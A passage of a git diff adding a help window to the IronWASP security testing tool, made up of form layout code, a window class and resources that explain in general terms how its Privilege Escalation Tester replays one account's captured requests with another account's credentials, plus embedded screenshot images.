"tabControl1"; + this.tabControl1.Padding = new System.Drawing.Point(0, 0); + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(882, 374); + this.tabControl1.TabIndex = 8; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.pictureBox4); + this.tabPage1.Controls.Add(this.label5); + this.tabPage1.Controls.Add(this.pictureBox1); + this.tabPage1.Controls.Add(this.label2); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(874, 348); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " STEP 1 "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // pictureBox4 + // + this.pictureBox4.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox4.Image"))); + this.pictureBox4.Location = new System.Drawing.Point(120, 214); + this.pictureBox4.Name = "pictureBox4"; + this.pictureBox4.Size = new System.Drawing.Size(698, 74); + this.pictureBox4.TabIndex = 8; + this.pictureBox4.TabStop = false; + // + // label5 + // + this.label5.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label5.Location = new System.Drawing.Point(17, 182); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(741, 29); + this.label5.TabIndex = 7; + this.label5.Text = "After selecting the hostname and the file extensions click on the \'Find Sessions\'" + + " button.\r\n\r\n"; + // + // pictureBox1 + // + this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); + this.pictureBox1.Location = new System.Drawing.Point(120, 44); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(618, 109); + this.pictureBox1.TabIndex = 6; + this.pictureBox1.TabStop = false; + // + // label2 + // + this.label2.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.Location = new System.Drawing.Point(8, 9); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(860, 32); + this.label2.TabIndex = 5; + this.label2.Text = "To do this check we must first select hostname of the application to test and the" + + " file extensions of the Requests that must be included in the test.\r\n\r\n"; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.label8); + this.tabPage2.Controls.Add(this.pictureBox8); + this.tabPage2.Controls.Add(this.pictureBox2); + this.tabPage2.Controls.Add(this.label3); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(874, 348); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " STEP 2 "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // label8 + // + this.label8.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label8.Location = new System.Drawing.Point(6, 213); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(860, 25); + this.label8.TabIndex = 9; + this.label8.Text = "After specifying the Session IDs belonging to User A and User B click on the \'Fin" + + "d Candidates\' button.\r\n\r\n\r\n"; + // + // pictureBox8 + // + this.pictureBox8.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox8.Image"))); + this.pictureBox8.Location = new System.Drawing.Point(43, 250); + this.pictureBox8.Name = "pictureBox8"; + this.pictureBox8.Size = new System.Drawing.Size(770, 78); + this.pictureBox8.TabIndex = 8; + this.pictureBox8.TabStop = false; + // + // pictureBox2 + // + this.pictureBox2.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox2.Image"))); + this.pictureBox2.Location = new System.Drawing.Point(43, 91); + this.pictureBox2.Name = "pictureBox2"; + this.pictureBox2.Size = new System.Drawing.Size(770, 97); + this.pictureBox2.TabIndex = 7; + this.pictureBox2.TabStop = false; + // + // label3 + // + this.label3.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.Location = new System.Drawing.Point(3, 4); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(860, 81); + this.label3.TabIndex = 6; + this.label3.Text = resources.GetString("label3.Text"); + // + // tabPage6 + // + this.tabPage6.Controls.Add(this.pictureBox9); + this.tabPage6.Controls.Add(this.label9); + this.tabPage6.Location = new System.Drawing.Point(4, 22); + this.tabPage6.Name = "tabPage6"; + this.tabPage6.Size = new System.Drawing.Size(874, 348); + this.tabPage6.TabIndex = 5; + this.tabPage6.Text = " STEP 3 "; + this.tabPage6.UseVisualStyleBackColor = true; + // + // pictureBox9 + // + this.pictureBox9.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox9.Image"))); + this.pictureBox9.Location = new System.Drawing.Point(62, 103); + this.pictureBox9.Name = "pictureBox9"; + this.pictureBox9.Size = new System.Drawing.Size(718, 245); + this.pictureBox9.TabIndex = 10; + this.pictureBox9.TabStop = false; + // + // label9 + // + this.label9.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label9.Location = new System.Drawing.Point(7, 5); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(860, 97); + this.label9.TabIndex = 9; + this.label9.Text = resources.GetString("label9.Text"); + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.pictureBox10); + this.tabPage3.Controls.Add(this.label10); + this.tabPage3.Controls.Add(this.pictureBox3); + this.tabPage3.Controls.Add(this.label4); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(874, 348); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " STEP 4 "; + this.tabPage3.UseVisualStyleBackColor = true; + // + // pictureBox10 + // + this.pictureBox10.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox10.Image"))); + this.pictureBox10.Location = new System.Drawing.Point(59, 211); + this.pictureBox10.Name = "pictureBox10"; + this.pictureBox10.Size = new System.Drawing.Size(773, 91); + this.pictureBox10.TabIndex = 10; + this.pictureBox10.TabStop = false; + // + // label10 + // + this.label10.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label10.Location = new System.Drawing.Point(7, 177); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(860, 31); + this.label10.TabIndex = 9; + this.label10.Text = "Click the \'\'Test Selected Candidates\' button to start the test."; + // + // pictureBox3 + // + this.pictureBox3.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox3.Image"))); + this.pictureBox3.Location = new System.Drawing.Point(59, 61); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(718, 65); + this.pictureBox3.TabIndex = 8; + this.pictureBox3.TabStop = false; + // + // label4 + // + this.label4.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label4.Location = new System.Drawing.Point(6, 9); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(860, 49); + this.label4.TabIndex = 7; + this.label4.Text = resources.GetString("label4.Text"); + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.pictureBox7); + this.tabPage5.Controls.Add(this.pictureBox6); + this.tabPage5.Controls.Add(this.label6); + this.tabPage5.Location = new System.Drawing.Point(4, 22); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Size = new System.Drawing.Size(874, 348); + this.tabPage5.TabIndex = 4; + this.tabPage5.Text = " STEP 5 "; + this.tabPage5.UseVisualStyleBackColor = true; + // + // pictureBox7 + // + this.pictureBox7.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox7.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox7.Image"))); + this.pictureBox7.Location = new System.Drawing.Point(29, 184); + this.pictureBox7.Name = "pictureBox7"; + this.pictureBox7.Size = new System.Drawing.Size(822, 157); + this.pictureBox7.TabIndex = 11; + this.pictureBox7.TabStop = false; + // + // pictureBox6 + // + this.pictureBox6.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox6.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox6.Image"))); + this.pictureBox6.Location = new System.Drawing.Point(29, 107); + this.pictureBox6.Name = "pictureBox6"; + this.pictureBox6.Size = new System.Drawing.Size(822, 69); + this.pictureBox6.TabIndex = 10; + this.pictureBox6.TabStop = false; + // + // label6 + // + this.label6.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label6.Location = new System.Drawing.Point(6, 5); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(860, 97); + this.label6.TabIndex = 9; + this.label6.Text = resources.GetString("label6.Text"); + // + // DocForPrivilegeEscalationTester + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.tabControl1); + this.Controls.Add(this.label1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(900, 600); + this.MinimumSize = new System.Drawing.Size(900, 600); + this.Name = "DocForPrivilegeEscalationTester"; + this.Text = "How to test for Privilege Escalation"; + this.tabControl1.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.tabPage2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox8)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); + this.tabPage6.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox9)).EndInit(); + this.tabPage3.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox10)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + this.tabPage5.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox7)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox6)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TabControl tabControl1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.PictureBox pictureBox2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.TabPage tabPage5; + private System.Windows.Forms.PictureBox pictureBox7; + private System.Windows.Forms.PictureBox pictureBox6; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.PictureBox pictureBox8; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.TabPage tabPage6; + private System.Windows.Forms.PictureBox pictureBox9; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.PictureBox pictureBox10; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.PictureBox pictureBox4; + private System.Windows.Forms.Label label5; + } +} \ No newline at end of file diff --git a/Iron/Docs/DocForPrivilegeEscalationTester.cs b/Iron/Docs/DocForPrivilegeEscalationTester.cs new file mode 100644 index 0000000..302a57b --- /dev/null +++ b/Iron/Docs/DocForPrivilegeEscalationTester.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP.Docs +{ + public partial class DocForPrivilegeEscalationTester : Form + { + public DocForPrivilegeEscalationTester() + { + InitializeComponent(); + } + + static DocForPrivilegeEscalationTester DocWindow = null; + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + DocWindow = new DocForPrivilegeEscalationTester(); + DocWindow.Show(); + } + DocWindow.Activate(); + } + + static bool IsWindowOpen() + { + if (DocWindow == null) + { + return false; + } + else if (DocWindow.IsDisposed) + { + return false; + } + else + { + return true; + } + } + } +} diff --git a/Iron/Docs/DocForPrivilegeEscalationTester.resx b/Iron/Docs/DocForPrivilegeEscalationTester.resx new file mode 100644 index 0000000..4d6859a --- /dev/null +++ b/Iron/Docs/DocForPrivilegeEscalationTester.resx @@ -0,0 +1,3247 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Applications could have users belonging to different privilege levels, some with more privileges and some with less. Sometimes developers make mistakes in enforcing the access control between these privilege levels. As a result a low privileged user might be able to access resources that are reserved for high privileged user. +The Privilege Escalation Tester feature of IronWASP can be used to find areas where access control is not properly enforced. +Let's say there are two accounts A and B both belong to different privilege levels. To use this feature the user must first use a browser with IronWASP configured as proxy to browse through the site first with the credentials of account A, then logout and browse through the site again with the credentials of account B. Once all this traffic is captured in IronWASP, the user can select the Requests made from account A and reissue them from with the credentials of account B. By comparing the responses of the re-issued requests with the response of the original requests we can find sections that are vulnerable to Privilege Escalation. + + + + + + + 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 + 6+v/Abozybs5iWboAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAAtsAAABsCAIAAAA0QukbAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAO + wAAADsABataJCQAAFqJJREFUeF7tnb+OJDeSxucJZl7gzLNnjHNm25DeQHoAAZIzaE/Ye4KZJxC23bNm + Za8hQ0Bb6+gFJFeAgBnIO+fQWPsO6AsygsGIIJnFrD9d1VnfD1QXGYwIMjNrMr6uKlW/eAQAAAAAODdQ + JAAAAAA4P1AkAAAAADg/UCQAAAAAOD9QJAAAAAA4P1AkAAAAADg/UCQAAAAAOD9QJAAAAAA4P1AkAAAA + ADg/UCQAAAAAOD+LiuSPu5sXldt7Me8PJby5+0MGe2G2dIT99Li/XZF8hfPhx743o6XPuKWWdjMT21t1 + sWLC+dMysZMOFJV2J5zo6bonfOKYPQ4NAABOwC5FonerPW7Kx7qzV+g+WuLT7f4UN3laYj5tcZ45LvY5 + 9AzsxWjp0WZOscnRHpT57VVWXawm4WhL++ykh43aL8Mka5MnOWLOm/lXdRAnPUYAwBUwrUjW3v27HHjP + eoJb3qolTud8XEZLr7UfzkLmdmrnNtbuM/iPwvfYSRcXdYx/PiPWbW+/gwEAgJOz8jWS9PP2Nr0YfXtP + fX7Vl2+1aVi8uX9fwqtneYm4WnQBIf3+Vmhu4XYNpUaIf01eNiZ7LhbnY/NpKj0iP9RjD85pSn7bvnMp + bJK81LxnthXiMcazNL90a4/ZynR0lj2pQcYFZ6eBTnM//SxXIU/1DsFfJk1CHTa7Nc35p1H10Vh7sTKa + kOGhGmuGss6SJY9zbDztimY2/fFR396OT0j+t8SdnI+m0ogNZcBzbsrll90lS9mVxdq1H7IZQ5hPQ47K + P9c8twEAQJj/HEm+kSRLvRfx7UZ7dLd1c/SQxtWzeMhEwnQj/amUre7HJpfs1SK99CCJyhw9ltSmm6jD + 4qu99GBdjTN3koOElKlkEovubqenWBQzVc9xgZ2Ty9zSrT13BfYRTx2bqRSTo02ajLebOJfT2hWdKoeQ + utQTZxNjuok6lIjaSw/WNZOMHnKRJDVDOS1dS8nJ3eRSfMykkGcLYc5m2DVlO+lRHpynGHpTIb9xScel + u7N26RuTdMPV71301A/nRLyNBQAAOsy/a5NRi52KxjLmx9aTfsqNkNHpjJ31Mw4uEjY5013OWvjWKQsw + JoU6h6iQhwnOyyHWMuPJfSIMGTLK5gflZGRp7dyRXD6btSd4Tno5heLtmkH79qfaU0SmM+UqnEGdzCoh + lqOMoxCM1tNOLVhkD4x5FVB9uM+0FsIm4Zw2g0z4qdCxbonBi5EJv0NGsymaVu1qkTxMNRVHP9SoMj20 + cB8AADxHVSTcs/dH6rSe9LP8ytQgv40mbGCH/PtZ69NdrrWMNqDO3Si1MMF5OcRaZjy5T4RhojlLbfjI + 0toXslFncKIoRn8Ttoi9XSVknj8E+nmUi0UEo/W0UwuWsJPWh/tMa1k66sWrYDv0c7SNhalKY2KDNatl + cObD1XcXvZsnWLgPAACefRVJ6sk9qfa4H35nCp7eYrsZurmVoblFM85XZq2NTdUiPeNSuh2TQENZtE5I + r04V1MId6yB9ejBJ1GfRs1gUMyXH2JylxYSpV30ae0oxyladpVtidBkh2gc5a1DPwS9VVmgnCuLAPZmQ + Xp0yBCMPxShxbM6HsmSRLv3UhLbPtJalUz2eih16GG1jYcpA+XWtPMhH12ygmy1PyFbSh1v8kEa5KytK + P4XVPDoLAACevRVJ7tO9rAqQTDKWsTpXT4In830wm0xwQn0TcbKGxVtqxtw9M7o6YS2JwQZ0z9y3LnaK + UQt3QqxOSZJ87DOehM4K8Ritb3JeTmiXbu1tNlmOl4onqkbzuBDsNadbvWaOi9qxpuDOUS4WEYw8VGPN + IKelYwk7sQltn2ktJmWCZo3PcKrtxBNSz+rSDi3qRW7lRc26gdHxGh8euyGvZVfUvvoROgsAAJ5FRbIN + 7C3yWUBVQLQVANsCz20AwBgokguh/tKK3yLBtsBzGwAwxRUoEgAAAABcPFAkAAAAADg/UCQAAAAAOD9Q + JAAAAAA4P1AkAAAAADg/UCQAAAAAOD9QJAAAAAA4P1AkAAAAADg/UCQAAAAAOD9QJAAAAAA4P1AkAAAA + ADg/HUUif4ACXD3yhJjmHQAAgIORW+r10VckfwdXz36KRHoAAAD2AorEwYrkX+C6gSIBAICnB4rEoYrk + //biv//1v9IDzxa6iAcqkr/OId4AAAAyUCQOKBJwFEUivTFQJAAAEIAicUCRACgSAAA4C1AkDigScAGK + 5P72xe299PemJPnj7uYI2QyUuFDzzhszR98UAGADQJE46NZ5KkXy+w9v+d784sW7n6OFSXYyvv3h9zwv + dN28mS0/v5NhRVbK+DxpEV1relGmt9A7slmf7PTuZ59HHEbJjd2lWji0OhEOYH+gSCqd2KQyxFS71Lu5 + +yMba0jXM88zYgAAAAGKxEH3ydMoEqqcpWSmupvLKXXaMtoae24pRzVy8ZdBHoaCnlnIPLdog18o7UmH + 5XhtnoXlEr1TFPEr0kiHKaSTdA+gSCptrLMUIULGIkiqR9dTOcohAgC2BRSJ41SKpFuDJ40dt26k4su2 + spB5atGWuBAFZUN6lGiXp/h3k69esQkYHPdaLkuRULegFTzVeiHbjA9RKn9JkpXBXQmpuqCTOSTW4e29 + kRd1c9qjjtEb1tzEFFoLAODqgSJx0N33NK+RmCKtTBbmGYvjbIokh714+9a8wGHzLCyXyLE71jQrJne/ + emvZiwtSJEkHlFKvfZosxdzOF7TU2yTFSwN6mdOjJC5rGJMhWRO6tK6ZoZFN7TwVHwIAAAQUiYNunif7 + ZGsqmJlSdtUg5GpKxlCWW7fWxzFWJJKB8GvNLCoTlt5CKdAYXZ7FA3cTo8PziiR6DQ58JZejSIIe4EpP + 